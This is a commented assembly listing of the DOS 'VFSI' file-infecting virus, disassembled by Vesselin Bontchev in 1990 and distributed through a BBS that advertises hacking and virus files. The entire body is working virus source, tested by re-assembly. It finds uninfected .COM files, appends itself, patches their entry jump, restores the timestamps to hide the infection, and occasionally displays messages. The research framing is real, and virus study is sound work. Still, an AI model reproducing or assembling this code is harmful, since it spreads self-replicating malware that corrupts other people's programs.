2022-08-21 09:07:57 +00:00
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;****************************************************************************;
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; ;
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; -=][][][][][][][][][][][][][][][=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] [=- ;
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; -=] For All Your H/P/A/V Files [=- ;
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; -=] SysOp: Peter Venkman [=- ;
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; -=] [=- ;
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; -=] +31.(o)79.426o79 [=- ;
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; -=] P E R F E C T C R I M E [=- ;
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; -=][][][][][][][][][][][][][][][=- ;
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; ;
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; *** NOT FOR GENERAL DISTRIBUTION *** ;
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; ;
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; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
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; Around Among the General Public. It Will be Very Useful for Learning how ;
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; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
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; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
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; Experience can Turn it Into a far More Malevolent Program Than it Already ;
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; Is. Keep This Code in Responsible Hands! ;
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; ;
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;****************************************************************************;
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page ,132
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name VFSI
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title The 'VFSI' virus
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.radix 16
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
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; <20> Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 <20>
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; <20> Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 <20>
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; <20> <20>
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; <20> The 'VFSI' Virus <20>
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; <20> Disassembled by Vesselin Bontchev, September 1990 <20>
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; <20> <20>
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; <20> Copyright (c) Vesselin Bontchev 1989, 1990 <20>
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; <20> <20>
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; <20> This listing is only to be made available to virus researchers <20>
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; <20> or software writers on a need-to-know basis. <20>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
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; The disassembly has been tested by re-assembly using MASM 5.0.
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code segment
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assume cs:code, ds:code
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org 100
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msg_len equ msg_2-msg_1 ; Length of each of the two messages
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start:
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jmp v_entry ; Jump to the virus body
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nop ; The rest of the infected program
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mov ax,4C00 ; Just terminate
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int 21
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; 1-15 bytes of garbage (in order to align
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; the virus code to a paragraph boundary):
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db 7 dup (0)
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v_entry:
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mov ax,word ptr ds:[start+1]
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add ax,offset start ; Compute the virus start address
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mov cl,4 ; Convert it to a segment address
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shr ax,cl
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mov cx,ds
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add ax,cx
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inc ax
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mov ds,ax ; Put this segment address in DS
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jmp v_start ; Jump to the true virus code
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first3 db 0EBh, 2, 90 ; The original first 3 bytes
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fmask db '*.COM', 0 ; Files to search for
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jmp_op db 0E9 ; A JMP to the virus body is formed here
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jmp_adr dw 0Dh
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; First of the two encrypted messages. It says:
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; 'HELLO!!! HAPPY DAY and SUCCESS'
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msg_1 db 2Ah, 28h, 30h, 31h, 35h, 08h
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db 09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh
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db 3Eh, 48h, 10h, 35h, 33h, 4Ch
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db 14h, 56h, 64h, 5Bh, 18h, 4Ch
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db 4Fh, 3Eh, 3Fh, 42h, 51h, 52h
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; Second encrypted message. It says:
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; ' from virus 1.1 VFSI-Svistov '
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msg_2 db 02h, 03h, 4Ah, 57h, 55h, 54h
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db 08h, 5Fh, 53h, 5Dh, 61h, 60h
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db 0Eh, 20h, 1Eh, 22h, 12h, 49h
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db 3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh
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db 63h, 6Eh, 70h, 6Ch, 74h, 1Fh
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grb_len db 7 ; Length of the garbage added to the file
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v_start:
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push ds ; Save DS
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mov ax,ds:[first3-v_entry] ; Restore the original first 3
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mov word ptr cs:[offset start],ax ; bytes of the infected file
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mov al,ds:[first3+2-v_entry]
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mov byte ptr cs:[offset start+2],al
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mov ax,1A00 ; Set new DTA
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lea dx,cs:[dta-v_entry]
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int 21 ; Do it
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mov ax,4E00 ; Find first .COM file in the current directory
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lea dx,cs:[fmask-v_entry] ; File mask to search for
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mov cx,00100010b ; Archive, Hidden and Normal files
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int 21 ; Do it
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srch_lp:
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jnc cont ; If found, continue
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jmp close ; Otherwize exit
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cont:
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mov ax,3D02 ; Open the file for both reading and writing
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lea dx,cs:[fname-v_entry]
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int 21 ; Do it
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mov bx,ax ; Save file handle in BX
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mov ax,4202 ; Lseek to the end of file
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xor cx,cx
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xor dx,dx
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int 21 ; Do it
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mov word ptr ds:[fsize-v_entry],ax ; Save file size
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sub ax,2 ; Lseek two bytes before the file end
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mov dx,ax
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mov ax,4200
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int 21 ; Do it
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mov ax,3F00 ; Read the last two bytes of the file
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lea dx,cs:[last2-v_entry] ; Put them there
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mov cx,2 ; (these bytes should contain
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int 21 ; the virus signature)
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mov cx,ds:[last2-v_entry] ; Get these bytes
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cmp cx,ds:[sign-v_entry] ; Compare them with the virus signature
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; If they are not equal, then the file is still not infected. Go infect it:
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jne infect
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mov ax,3E00 ; If file infected, close it
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int 21 ; Do close
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mov ax,4F00 ; Find the next .COM file
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lea dx,cs:[dta-v_entry]
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int 21 ; Do it
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jmp srch_lp ; Loop until a non-infected file is found
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; A non-infected file is found. Infect it:
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infect:
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mov ax,5700 ; Get file's date & time
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int 21 ; Do it
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push cx ; Save time & date on stack
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push dx
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mov ax,4200 ; Lseek to the file beginning
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xor dx,dx
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xor cx,cx
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int 21 ; Do it
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mov ax,3F00 ; Read the original first 3 bytes of the file
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mov cx,3
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lea dx,cs:[first3-v_entry] ; Save them in the virus body
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int 21 ; Do it
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mov ax,4200 ; Lseek to the beginning of the file again
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xor dx,dx
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xor cx,cx
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int 21 ; Do it
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; Align file size to the next multiple of 16:
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mov ax,ds:[fsize-v_entry]
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and ax,1111b
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push ax ; Save AX
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xor ax,1111b
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inc ax
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; Save the number of garbage bytes added in grb_len:
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mov byte ptr ds:[grb_len-v_entry],al
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add ax,ds:[fsize-v_entry] ; Form a Near JMP to the virus code
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sub ax,3
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mov word ptr ds:[jmp_adr-v_entry],ax ; Form the operand
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mov ax,4000 ; Write this JMP in the first 3 bytes of file
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lea dx,cs:[jmp_op-v_entry]
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mov cx,3
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int 21 ; Do it
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mov ax,4202 ; Lseek to the end of file
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mov dx,0
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xor cx,cx
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int 21 ; Do it
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lea cx,cs:[v_end-v_entry-1] ; Virus size
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pop ax ; Restore AX (new file size)
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mov dx,ax
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xor ax,1111b
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add ax,2
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add cx,ax ; Number of bytes to write
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mov ax,ds ; DS := DS - 1
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dec ax
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mov ds,ax
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mov ax,4000 ; Write the virus body after the end of file
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int 21 ; Do it
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pop dx ; Restore file's date & time
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pop cx
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mov ax,5701
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int 21 ; Do it
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close:
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mov ax,3E00 ; Close the file
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int 21
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pop ds ; Restore DS
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mov ah,2C ; Get current time
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int 21
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; If the hundreds of seconds are > 20, quit.
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; This means that the messages are displayed
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; with a probability of about 1/5:
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cmp dl,20d ; Hundreds of seconds > 20?
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jg quit ; Exit if so
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; Print the messages:
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mov ax,0E07 ; Beep (teletype write of ASCII 7)
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int 10 ; Do it
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mov ax,0F00 ; Get video mode
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int 10 ; Do it
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push ax ; Save mode on the stack
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xor ax,ax ; Set video mode to 40x25 text
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int 10 ; Do it
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mov cx,msg_len ; Put message length in CX
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mov dx,0A06 ; Goto row 10, column 6
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mov bl,0E ; Screen attribute: dark yellow on black
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lea bp,cs:[msg_1-v_entry] ; Point to the first message
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prt_msg:
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mov ah,2 ; Go to the next display position
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int 10 ; Do it
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mov si,msg_len ; Get an ecrypted character from the message
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sub si,cx
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mov al,ds:[bp+si]
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add al,msg_len ; These two instruction are needless
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sub al,msg_len
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add al,cl ; Decrypt the character
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mov ah,9 ; Write the character with the
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int 10 ; selected attribute
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inc dl ; Go to the next screen position
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loop prt_msg ; Loop until done
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cmp dh,10d ; Was this row 10?
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jne msg_done ; If not, message printed; exit
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mov cx,msg_len ; Otherwise get the length of the next message
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mov bl,8C ; Screen attribute: blinking bright red on black
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mov dx,0C06 ; Go to row 12, column 6
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lea bp,cs:[msg_2-v_entry] ; Point to the second message
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jmp prt_msg ; And go print it
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msg_done:
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xor cx,cx ; CX := 0
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delay:
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imul cx ; Cause a delay
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imul cx
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loop delay ; Loop until done
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pop ax ; Restore video mode from the stack
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xor ah,ah
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int 10 ; Set it as it was originally
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quit:
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push cs ; DS := CS
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pop ds
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mov ax,1A00 ; Restore old DTA
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mov dx,81
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int 21 ; Do it
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mov si,offset start ; Jump to address CS:100h
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jmp si ; Do it
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sign db 0F1, 0C8 ; Virus signature
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v_end equ $
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fsize equ $ ; Word. File size is saved here
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last2 equ $+2 ; Word. Buffer for reading the virus signature
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dta equ $+4 ; Disk Transfer Area
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fname equ dta+1E ; File name found
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code ends
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end start
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2021-01-13 00:04:54 +00:00
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